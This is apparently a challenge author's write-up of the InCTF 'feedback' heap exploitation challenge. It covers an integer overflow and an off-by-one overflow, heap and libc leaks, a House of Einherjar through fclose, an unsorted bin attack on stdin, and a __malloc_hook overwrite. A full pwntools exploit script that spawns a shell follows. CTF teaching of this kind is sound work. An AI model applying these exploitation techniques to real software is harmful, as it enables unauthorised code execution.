Posts InCTF: feedback Writeup
Post
Cancel

InCTF: feedback Writeup

Attachments: binary libc source

The binary is a non-stripped ELF 64 bit file. It is basically a kind of feedback accepting mechanism. Lets start with the permissions if the binary.

1
2
3
4
5
6
    gdb-peda$ checksec
    CANARY    : ENABLED
    FORTIFY   : disabled
    NX        : ENABLED
    PIE       : ENABLED
    RELRO     : FULL

And pretty much everything is enabled. Lets take a quick review of what all this binary is doing.

Reversing

Overview: This binary takes in ‘feedback’. We can create 4 drafts and also leave our name. We can ‘save’ only one of the drafts. After saving the draft, we have to provide some details and then are prompted to fill up a captcha.

I’ve added the source code along this post. So you can quickly go through that. Here’s a overview of the major functionalities.

  • update_name : This function is for creating/updating the name. In the first call, it mallocs a chunk of size 132 and allows us to write into the chunk. For all subsequent allocations, we can edit this chunk.

  • add_draft : So, there’s this global array named table which can hold objects of the following structures -
    1
    2
    3
    4
    5
    
    typedef struct draft {
        char title[32];
        unsigned long size;
        char *feedback;
    }draft;
    

    feedback is a malloced chunk whose size we control. For size > 0x500, 0x500 is set as size and for < 0x80, 0x80 is set as the size.

  • View : allows us to view the details of the elements of the table array.

  • Create feedback : It opens the file /home/feedback/ctffeedback and assigns the files stream pointer to a global variable fp.

  • Save Draft : Asks for the draft id to save and then writes the contents of that draft to the file and frees the draft. Then mallocs a chunk of size 0x3c8 - 0x350 is for the team name and rest for the description. Finally it calls terminate

  • terminate : Generates a captcha and asks the user to confirm and then frees the name chunk and calls exit.

Vulnerability

So there are 2 vulnerabilities. An integer overflow in add and a one-byte-overflow in the update_name function. In add, if we give the size as a negative integer then it mallocs 0x80 but proceeds to write the negative value into the structure object. In the update_name function, while reading user input into the heap chunk, the user is free to imput a byte more than the chunk size. Thus we can control the last byte of the chunk that is immediately after the name chunk.

Memory Leaks

Note that the size field is 64 bit long, -1 will be saved like 0xffff….(16 times) . Thus when we view the title we can leak the pointer to feedback chunk in heap. Thus we have a heap leak here.

Getting the libc leak requires a bit of work. We will use that one-byte overflow to null out the last bit of the next chunk, so that when the next chunk is freed, libc will think that the previous chunk is free and try to coleace these 2 chunks. Thus on the next malloc, we can get overlapping chunks and get libc leak. I’ve explained this in more detail in the following section.

Exploit

After getting a heap leak, and seeing that one-byte overflow, the first thing that comes to the mind is to perform a House of Einherjar. But there are a few obvious problems here. We have a call to malloc alright but the call to free does not come into picture until it’s too late. So let’s find a way to get around this.

First, a quick note about fopen. fopen open a new file stream and the space for that is allocated on the heap. While closing this stream, fclose internally calls free to destroy the file-structure object. We can use this call to free to set our House of Einherjar chain rolling.

Lets assume our heap layout looks something like this-

1
2
3
4
5
6
7
          draft1
         --------
          draft2
         --------
           name
         --------
        file-stream

Now we can use the one-byte overflow to null out the last bit of the file-stream.

So, here comes the question of what we should coalesce our chunk with. Well, we can actually create a fake chunk inside a draft chunk and coalesce with that. Here we need a bit of math to get the chunk sizes correct.

The save function first frees the draft and then calls fclose. Lets say that our fake chunk is in draft1 and we choose to save the same chunk. Thus this chunk is now freed. After this when fclose is called, the backward coalescing takes place and now this freshly freed chunk lies inside the previously freed draft1 chunk.

Now next, we have a malloc of size 0x3c8 (for team name and description), which will be serviced from the unsorted bin (provided theres a chunk that satisfies the required size). Remember that the draft1 chunk was freed first and it’s currently sitting at the top of the unsorted bin. If the size of this chunk matches the request by malloc, then this will be returned and the rest of the unsorted bin is left untouched. Also assuming that this happens, we have write access into a free chunk (the fake chunk that we created in draft1 before it was freed).

Note that the first 0x350 bytes are for the team name and the rest for the description. And we can enter the team name multiple times (the loop quits only when we say we’re done). Thus, if we craft the fake chunk in such a way that it’s prev_size and size fields lie in the team_name chunk and the fd and bk pointers lie in the description chunk, then we can leak out the fd (a libc address) by fully filling the team_name chunk. In the second try, we again set the size of the fake chunk.

After we have the libc leak, things look better. With the description chunk, we can actually overwrite the fd and bk of the fake chunk, so as to do an unsorted bin attack. Note that, in terminate a chunk of size 0x40 is being malloced. If we overwrite the bk pointer of the fake chunk while entering the description, then an unsorted bin attack happens here.

So now the question is - what should be our target for the unsorted bin attack? We only have limited code after this. Notice that the captcha is being read with scanf. Thus if we target _IO_buf_end of stdin for unsorted bin attack, then it’ll be overwritten with a main arena address. So currently, our stdin buffer is starting from stdin’s _shortbuf all the way up to the pointer to top chunk. __malloc_hook lies in this buffer. And now in scanf, we can write into this buffer and overwrite __malloc_hook with a one_gadget.

So, where will __malloc_hook be called? Well, the name gets freed if the captcha is correct, but the issue is that the next chunk of name (the previously free file-structure object) has it’s last bit set to null. Thus free assumes that name is already free and is being double freed and thus __malloc_hook is called (__malloc_hook gets called in 2 cases - either on a malloc call or on double free). And we get a shell….:)

So we just need to get a proper heap layout with chunks of proper sizes, to create our exploit.

Here’s my exploit script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
import sys

HOST='18.224.70.88'
PORT=1337

if len(sys.argv)>1:
    r=remote(HOST,PORT)
else:
    r=process('./feedback',env={"LD_PRELOAD":"./libc.so"})

libc=ELF("./libc.so")

def menu(opt):
    r.sendlineafter("Enter choice >> ",str(opt))

def leave_name(name,line=True):
    menu(1)
    if line:
        r.sendlineafter("Enter Name: ",name)
    else:
        r.sendafter("Enter Name: ",name)

def add_draft(title,size,feedback,line=True):
    menu(2)
    if line:
        r.sendlineafter("Enter draft title: ",title)
    else:
        r.sendafter("Enter draft title: ",title)
    r.sendlineafter("Enter size of draft: ",str(size))
    r.sendlineafter("Give your feedback: ",feedback)

def view():
    menu(3)

def create():
    menu(4)

def save():

    ''' libc leak + unsortedbin attack '''

    menu(5)
    r.sendlineafter("Enter draft id to save: ",'1')
    r.sendafter("Enter Team Name and Details: ","A"*0x350)
    r.recvuntil("Team: "+("A"*350))
    libc.address=u64(r.recvuntil('\n').strip().replace("A",'').ljust(8,'\x00'))-0x3c4b78#-0x3c1b58
    log.info("libc @ "+hex(libc.address))
    r.sendlineafter("Confirm? <y/n>: ",'n')
    r.sendafter("Enter Team Name and Details: ","A"*0x340+p64(0)+p64(0x51))
    r.sendlineafter("Confirm? <y/n>: ",'y')
    r.sendlineafter("Now give us your contact details: ",p64(0)+p64(libc.address+0x3c4910))


def terminate():

    ''' overwrite malloc hook '''

    r.recvuntil("Enter this captcha code: ")
    captcha=r.recvuntil('\n').strip()
    r.sendline(captcha+'\x00'+p64(libc.address+0x3c6790)+p64(-1,signed=True)+p64(0)+p64(libc.address+0x3c49c0)+p64(0)*6+p64(libc.address+0x3c36e0)+"A"*0x150+p64(libc.address+0xf0274))


def getleak():

    ''' Heap Leak '''

    add_draft("A"*32,-1,"AA",line=False)
    view()
    r.recvuntil("Title: "+"A"*32)
    r.recv(8)
    heap=u64(r.recvuntil('\n').strip().ljust(8,'\x00'))-0x10
    log.info("heap @ "+hex(heap))

    ''' House of Einherjar '''

    add_draft("A",0x3c8,"B"*0x340+p64(0)+p64(0x1a1)+p64(heap+0x860)*4)
    add_draft("A",0x80,"A")
    leave_name("A")
    create()
    add_draft("A",0x100,p64(0x21)*20)
    leave_name("A"*128+p64(0x1a0)+'\x30',line=False)

    save()

    terminate()


if __name__=='__main__':

    getleak()
    r.interactive()

And the flag was

1
InCTF{uns0rt3d_b1n_t0_d3str0y_f33db4ck}

This was our second time hosting an International CTF and I hope you enjoyed the challenges. If anything about this challenge is unclear or you want to leave a actual “feedback” (:P) of our CTF, please fell free to leave a comment.

This post is licensed under CC BY 4.0 by the author.